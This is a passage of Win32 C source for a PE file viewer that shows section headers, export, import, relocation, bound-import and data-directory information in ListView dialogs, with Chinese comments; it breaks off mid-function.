	//设置整行选中							
	SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
								
	//第一列							
	lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
	lv.pszText = TEXT("进程");				//列标题			
	lv.cx = 200;							
	lv.iSubItem = 0;							
	//ListView_InsertColumn(hListProcess, 0, &lv);							
	SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);							
	//第二列							
	lv.pszText = TEXT("PID");							
	lv.cx = 100;							
	lv.iSubItem = 1;							
	//ListView_InsertColumn(hListProcess, 1, &lv);							
	SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);							
	//第三列							
	lv.pszText = TEXT("镜像基址");							
	lv.cx = 100;							
	lv.iSubItem = 2;							
	ListView_InsertColumn(hListProcess, 2, &lv);							
	//第四列							
	lv.pszText = TEXT("镜像大小");							
	lv.cx = 100;							
	lv.iSubItem = 3;							
	ListView_InsertColumn(hListProcess, 3, &lv);
	EnumProcess(hListProcess);

}

VOID InitProcessListView_down(HWND hDlg)
{
	LV_COLUMN lv;							
	HWND hListProcess;							
								
	//初始化							
	memset(&lv,0,sizeof(LV_COLUMN));							
	//获取IDC_LIST_PROCESS句柄							
	hListProcess = GetDlgItem(hDlg,IDC_PROCESS2);							
	//设置整行选中							
	SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
								
	//第一列							
	lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
	lv.pszText = TEXT("模块名称");				//列标题			
	lv.cx = 260;							
	lv.iSubItem = 0;							
	//ListView_InsertColumn(hListProcess, 0, &lv);							
	SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);							
	//第二列							
	lv.pszText = TEXT("模块位置");							
	lv.cx = 400;							
	lv.iSubItem = 1;							
	//ListView_InsertColumn(hListProcess, 1, &lv);							
	SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);							
	

}
BOOL CALLBACK SECTION_DEAL(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{
	switch(uMsg)
	{
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_INITDIALOG:
		{
			LV_COLUMN lv;							
			HWND hListProcess;							
										
			//初始化							
			memset(&lv,0,sizeof(LV_COLUMN));							
			//获取IDC_LIST_PROCESS句柄							
			hListProcess = GetDlgItem(hwndDlg,IDC_LIST12);							
			//设置整行选中							
			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
										
			//第一列							
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("NAME");				//列标题			
			lv.cx = 60;							
			lv.iSubItem = 0;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Virtual Size");				//列标题			
			lv.cx = 125;							
			lv.iSubItem = 1;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Virtual Offset");				//列标题			
			lv.cx = 125;							
			lv.iSubItem = 2;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("RAW Size");				//列标题			
			lv.cx = 100;							
			lv.iSubItem = 3;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Raw Offset");				//列标题			
			lv.cx = 100;							
			lv.iSubItem = 4;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,4,(DWORD)&lv);
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Characters");				//列标题			
			lv.cx = 100;							
			lv.iSubItem = 5;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,5,(DWORD)&lv);

			
			LV_ITEM vitem;				
				
			//初始化				
			memset(&vitem,0,sizeof(LV_ITEM));				
			vitem.mask = LVIF_TEXT;	
			char* start = get_file();
			char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
			for(int i=0;i<headers_file.NumberOfSections;i++){
				sections.PointerToRawData = get_int_data(start_section,20);
				sections.SizeOfRawData = get_int_data(start_section,16);
				sections.VirtualAddress = get_int_data(start_section,12);
				sections.VirtualSize = get_int_data(start_section,8);
				sections.Characteristics = get_int_data(start_section,36);

				vitem.pszText = start_section;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 0;	//第二列		
				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
				
				TCHAR info[0x20];
				sprintf(info,"%08x",sections.VirtualSize);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 1;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				sprintf(info,"%08x",sections.VirtualAddress);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 2;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				sprintf(info,"%08x",sections.SizeOfRawData);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 3;	//第二列		
				ListView_SetItem(hListProcess, &vitem);


				sprintf(info,"%08x",sections.PointerToRawData);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 4;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				sprintf(info,"%08x",sections.Characteristics);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 5;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				start_section = start_section+40;


			}
		}

	}
	return false;
}
BOOL CALLBACK DIRECTION1_DEAL(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{
	switch(uMsg)
	{
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_INITDIALOG:
		{
			LV_COLUMN lv;							
			HWND hListProcess;							
										
			//初始化							
			memset(&lv,0,sizeof(LV_COLUMN));							
			//获取IDC_LIST_PROCESS句柄							
			hListProcess = GetDlgItem(hwndDlg,IDC_LIST122);							
			//设置整行选中							
			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
										
			//第一列							
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("序号");				//列标题			
			lv.cx = 60;							
			lv.iSubItem = 0;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("RVA");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 1;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("offset");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 2;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("函数名");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 3;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);

			get_export_Info();
			HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT1);
			TCHAR info[0x30];
			sprintf(info,"%08x",export.Time);
			SetWindowText(hwnd, info); 

			hwnd = GetDlgItem(hwndDlg, IDC_EDIT16);
			SetWindowText(hwnd, export.Name);

			hwnd = GetDlgItem(hwndDlg, IDC_EDIT5);
			sprintf(info,"%08x",export.NumberOfFunctions);
			SetWindowText(hwnd, info);
			
			hwnd = GetDlgItem(hwndDlg, IDC_EDIT7);
			sprintf(info,"%08x",export.NumberOfNames);
			SetWindowText(hwnd, info);

			hwnd = GetDlgItem(hwndDlg, IDC_EDIT2);
			sprintf(info,"%08x",export.AddressOfFunctions);
			SetWindowText(hwnd, info);

			hwnd = GetDlgItem(hwndDlg, IDC_EDIT4);
			sprintf(info,"%08x",export.AddressOfNames);
			SetWindowText(hwnd, info);

			hwnd = GetDlgItem(hwndDlg, IDC_EDIT6);
			sprintf(info,"%08x",export.AddressOfNameOrdinals);
			SetWindowText(hwnd, info);

			hwnd = GetDlgItem(hwndDlg, IDC_EDIT8);
			sprintf(info,"%08x",export.Base);
			SetWindowText(hwnd, info);

				LV_ITEM vitem;				
				
			//初始化				
			memset(&vitem,0,sizeof(LV_ITEM));				
			vitem.mask = LVIF_TEXT;	
			char* start = get_file();
			for(int i=0;i<export.NumberOfFunctions;i++){
				export.RVA = get_int_data(start+Rva_to_Foa(export.AddressOfFunctions,start),4*i);
				export.Name_fun = start + get_int_data(start+Rva_to_Foa(export.AddressOfNames,start),4*i);
				export.ordinal = get_short_data(start+Rva_to_Foa(export.AddressOfNameOrdinals,start),2*i);
				sprintf(info,"%04x",export.ordinal+export.Base);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 0;	//第二列		
				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
				sprintf(info,"%08x",export.RVA);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 1;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				sprintf(info,"%08x",export.RVA);
				vitem.pszText = info;						
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 2;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				vitem.pszText = export.Name_fun;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 3;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

			}
			free(start);
		}
		case WM_COMMAND:
		{
		switch(LOWORD(wParam))
		{
		case IDC_BUTTON1:
			{
				EndDialog(hwndDlg,0);
				break;
			}
		}
		}
	}
	return false;
}
BOOL CALLBACK DIRECTION2_DEAL(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{
	switch(uMsg)
	{
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_INITDIALOG:
		{
			LV_COLUMN lv;							
			HWND hListProcess;							
										
			//初始化							
			memset(&lv,0,sizeof(LV_COLUMN));							
			//获取IDC_LIST_PROCESS句柄							
			hListProcess = GetDlgItem(hwndDlg,IDC_LIST111);							
			//设置整行选中							
			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
										
			//第一列							
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("DLL NAME");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 0;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("original thunk");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 1;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Timestamp");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 2;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("first thunk");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 3;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);

				LV_ITEM vitem;				
				
			//初始化				
			memset(&vitem,0,sizeof(LV_ITEM));				
			vitem.mask = LVIF_TEXT;	
			char* start = get_file();
			int virtualAddress = get_int_data(start,headers_file.e_lfanew+128);
			int fileAddress = Rva_to_Foa(virtualAddress,start);
			char* export_start;
			export_start = start+fileAddress;
			int i =0;
			TCHAR info[0x30];
			while(1){
				int original_thunk = get_int_data(export_start,0);
				int file_orginal_thunk = Rva_to_Foa(original_thunk,start);
				int Name = get_int_data(export_start,12);
				int Name_file = Rva_to_Foa(Name,start);
				int first_thunk = get_int_data(export_start,16);
				int file_first_thunk = Rva_to_Foa(first_thunk,start);
				int Timestamp = get_int_data(export_start,4);
				if(original_thunk==0&&Name==0&&first_thunk==0){
					break;
				}
				vitem.pszText = start+Name_file;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 0;	//第二列		
				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);

				sprintf(info,"%08x",original_thunk);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 1;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				sprintf(info,"%08x",Timestamp);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 2;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				sprintf(info,"%08x",first_thunk);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 3;	//第二列		
				ListView_SetItem(hListProcess, &vitem);
				export_start = export_start+20;
				i++;
					}
			free(start);
										
										
			//初始化							
			memset(&lv,0,sizeof(LV_COLUMN));							
			//获取IDC_LIST_PROCESS句柄							
			hListProcess = GetDlgItem(hwndDlg,IDC_LIST112);							
			//设置整行选中							
			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
										
			//第一列							
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("API NAME");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 0;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Thunk RVA");				//列标题			
			lv.cx = 120;							
			lv.iSubItem = 1;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Thunk Offset");				//列标题			
			lv.cx = 120;							
			lv.iSubItem = 2;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);


			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Hint");				//列标题			
			lv.cx = 120;							
			lv.iSubItem = 3;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
				}
			case WM_NOTIFY:
		{
			NMHDR* pNMHDR = (NMHDR*)lParam;
			if(wParam == IDC_LIST111 && pNMHDR->code == NM_CLICK)
			{
				EnumModules_import(GetDlgItem(hwndDlg,IDC_LIST111),wParam,lParam,GetDlgItem(hwndDlg,IDC_LIST112));
			}
		}
			case WM_COMMAND:
				{
				switch(LOWORD(wParam))
				{
				case IDC_BUTTON1:
					{
						EndDialog(hwndDlg,0);
						break;
					}
				}
				}
	}
	return false;
}
BOOL CALLBACK DIRECTION3_DEAL(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{
	switch(uMsg)
	{
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_INITDIALOG:
		{

		}

	}
	return false;
}
BOOL CALLBACK DIRECTION4_DEAL(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{
	switch(uMsg)
	{
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_INITDIALOG:
		{
			LV_COLUMN lv;							
			HWND hListProcess;							
										
			//初始化							
			memset(&lv,0,sizeof(LV_COLUMN));							
			//获取IDC_LIST_PROCESS句柄							
			hListProcess = GetDlgItem(hwndDlg,IDC_LIST141);							
			//设置整行选中							
			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
										
			//第一列							
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("INDEX");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 0;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Offset");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 1;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("RVA");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 2;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Size of Block");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 3;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);

			LV_ITEM vitem;				
				
			//初始化				
			memset(&vitem,0,sizeof(LV_ITEM));				
			vitem.mask = LVIF_TEXT;	
			char* start = get_file();
			int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*5);
			int fileAddress = Rva_to_Foa(virtualAddress,start);
			char* relocation_start;
			//printf("%x",fileAddress);
			relocation_start = start+fileAddress;
			//int RVA = get_int_data(relocation_start,0);
			int i = 0;
			TCHAR info[0x20];
			while(1){
				int RVA = get_int_data(relocation_start,0);
				int offset = Rva_to_Foa(RVA,start);
				int Size_of_Block = get_int_data(relocation_start,4);
				if(RVA==0&&Size_of_Block==0){
					break;
				}
				//printf("RVA: %x\tSize_of_Block: %x\n",RVA,Size_of_Block);
				sprintf(info,"%d",i+1);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 0;	//第二列		
				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
				
				sprintf(info,"%08x",RVA);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 1;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				sprintf(info,"%08x",offset);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 2;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				sprintf(info,"%08x",Size_of_Block);
				vitem.pszText = info;				
				vitem.iItem = i;//第一行				
				vitem.iSubItem = 3 ;	//第二列		
				ListView_SetItem(hListProcess, &vitem);
				
				i++;
				relocation_start = relocation_start + Size_of_Block;
			}
			free(start);
//*******************************************************************************************************//
			hListProcess = GetDlgItem(hwndDlg,IDC_LIST142);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("INDEX");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 0;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("RVA");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 1;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("Offset");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 2;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("TYPE");				//列标题			
			lv.cx = 150;							
			lv.iSubItem = 3;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
			
		}
		case WM_NOTIFY:
		{
			NMHDR* pNMHDR = (NMHDR*)lParam;
			if(wParam == IDC_LIST141 && pNMHDR->code == NM_CLICK)
			{
				EnumModules_re(GetDlgItem(hwndDlg,IDC_LIST141),wParam,lParam,GetDlgItem(hwndDlg,IDC_LIST142));
			}
		}
	case WM_COMMAND:
		{
			switch(LOWORD(wParam))
			{
			case IDC_BUTTON1:
			{
				EndDialog(hwndDlg,0);
				break;
			}
			}
		}

	}
	return false;
}
BOOL CALLBACK DIRECTION5_DEAL(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{
	switch(uMsg)
	{
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_INITDIALOG:
		{
			LV_COLUMN lv;							
			HWND hListProcess;							
										
			//初始化							
			memset(&lv,0,sizeof(LV_COLUMN));							
			//获取IDC_LIST_PROCESS句柄							
			hListProcess = GetDlgItem(hwndDlg,IDC_LIST151);							
			//设置整行选中							
			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
										
			//第一列							
			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("DLL NAME");				//列标题			
			lv.cx = 200;							
			lv.iSubItem = 0;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);

			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
			lv.pszText = TEXT("TimeStamp");				//列标题			
			lv.cx = 200;							
			lv.iSubItem = 1;							
			//ListView_InsertColumn(hListProcess, 0, &lv);							
			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);


				
			LV_ITEM vitem;				
				
			//初始化				
			memset(&vitem,0,sizeof(LV_ITEM));				
			vitem.mask = LVIF_TEXT;	
			char* start = get_file();
			int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*11);
			int fileAddress = Rva_to_Foa(virtualAddress,start);
			//printf("%x",fileAddress);
			char* export_start;
			//printf("%x",fileAddress);
			export_start = start+fileAddress;
			int j=0;
			TCHAR info[0x20];
			while(1){
				int timestamp = get_int_data(export_start,0);
				short name_offset = get_short_data(export_start,4);
				short num = get_short_data(export_start,6);
				if(timestamp==0&&name_offset==0&&num==0){break;}							

				vitem.pszText = start+fileAddress+name_offset;				
				vitem.iItem = j;//第一行				
				vitem.iSubItem = 0;	//第二列		
				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
				
				sprintf(info,"%08x",timestamp);
				vitem.pszText = info;				
				vitem.iItem = j;//第一行				
				vitem.iSubItem = 1;	//第二列		
				ListView_SetItem(hListProcess, &vitem);

				int i;
				for(i=0;i<num;i++){
				timestamp = get_int_data(export_start,8*i);
				name_offset = get_short_data(export_start,4+8*i);
				}
				export_start = export_start+8+8*num;
				j++;
			}
		}
	case WM_COMMAND:
		{
		switch(LOWORD(wParam))
		{
		case IDC_BUTTON1:
		{
			EndDialog(hwndDlg,0);
			break;
		}
		}
	}

	}
	return false;
}
BOOL CALLBACK DIRECTION6_DEAL(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{
	switch(uMsg)
	{
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_INITDIALOG:
		{

		}

	}
	return false;
}
BOOL CALLBACK DIRECTION_DEAL(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{
	switch(uMsg)
	{
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_INITDIALOG:
		{
			 getInfo_dir();
			 HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT111);
			 TCHAR info[0x20];
			 sprintf(info,"%08x",DN.d1.address);
			 SetWindowText(hwnd, info);    

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT112);
			 sprintf(info,"%08x",DN.d1.size);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT113);
			 sprintf(info,"%08x",DN.d2.address);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT114);
			 sprintf(info,"%08x",DN.d2.size);//数据
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT115);
			 sprintf(info,"%08x",DN.d3.address);//代码
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT116);
			 sprintf(info,"%08x",DN.d3.size);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT117);
			 sprintf(info,"%08x",DN.d4.address);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT118);
			 sprintf(info,"%08x",DN.d4.size);//标志字
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT119);
			 sprintf(info,"%08x",DN.d5.address);//子系统
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT120);
			 sprintf(info,"%08x",DN.d5.size);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT121);
			 sprintf(info,"%08x",DN.d6.address);//时间戳
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT122);
			 sprintf(info,"%08x",DN.d6.size);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT123);
			 sprintf(info,"%08x",DN.d7.address);//特征直
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT124);
			 sprintf(info,"%08x",DN.d7.size);//校验和
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT125);
			 sprintf(info,"%08x",DN.d8.address);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT126);
			 sprintf(info,"%08x",DN.d8.size);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT127);
			 sprintf(info,"%08x",DN.d9.address);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT128);
			 sprintf(info,"%08x",DN.d9.size);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT129);
			 sprintf(info,"%08x",DN.d10.address);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT130);
			 sprintf(info,"%08x",DN.d10.size);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT131);
			 sprintf(info,"%08x",DN.d11.address);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT132);
			 sprintf(info,"%08x",DN.d11.size);
